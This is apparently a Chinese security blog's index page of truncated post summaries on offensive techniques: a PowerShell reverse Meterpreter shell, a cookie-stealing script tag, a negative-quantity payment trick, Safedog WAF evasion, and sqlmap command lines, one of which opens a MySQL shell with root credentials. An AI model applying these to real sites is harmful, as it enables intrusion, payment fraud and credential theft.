摘要：
使用Powershell反弹Meterpreter Shell cloudeye在windows下的应用 今天突发奇想的一个姿势，算不上什么技巧，分享一下吧。 看到有人问过。http://zone.wooyun.org/content/27440 其实很羡慕linxu的curl `whoami`.x 阅读全文
摘要：
https://www.t00ls.net/thread-37312-1-1.html 一个可以自动调用管理员帐号登录wordpress后台的方法。 阅读全文
摘要：
前段时间我遇到一个问题，就是说普通的平台获取cookie的语句为↓ Default <script src=js地址></script> 1 <script src=js地址></script> Default Default <script src=js地址></script> 1 <script 阅读全文
摘要：
可以看到这里传输了一个参数为 1这个1就代表一个。一件商品、我们将其修改为 -1 可以看到金额为负数，就是这么个原理。简单粗暴。为什么说0元支付？如果我们将1改为 0，那么就是0件商品，也是0元钱，但是我们就有一个问题。我们该怎么去支付这个订单？ 阅读全文
摘要：
原文：http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具，可用于创建、删除和修改数据库和索引，提供视图和数据搜索工具，提供数据库 阅读全文
摘要：
首先在Shell下把安全狗的安装配置给下来 默认安装路径： C:\Program Files\SafedogServer\SafeDogGuardCenter 找到 ProGuardData.ini 下载文件到本地虚拟机 虚拟机安装安全狗 然后文件覆盖一下 打开安全狗就可以看到的鸟....计算机名字 阅读全文
摘要：
sqlmap.py -u “url” --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-db --current-user --dbs https://forum.90sec.org/forum.php?mod=v 阅读全文
摘要：
1. 背景介绍 今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，https://bugs.php.net/bug.php?id=69364。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DO 阅读全文
摘要：
文章作者：pt007@vip.sina.com文章来源：https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql 阅读全文
摘要：
在星外不是安全模式的时候 但是又没有执行目录 有时候远程调用也不行对吧 winrar 有执行权限的时候C:\windows\IIS Temporary Compressed Files\ 这个目录有点特殊。如果你直接在shell上操作 上传 下载 复制 移动到这目录是没有权限的但是大牛说的 如果有w 阅读全文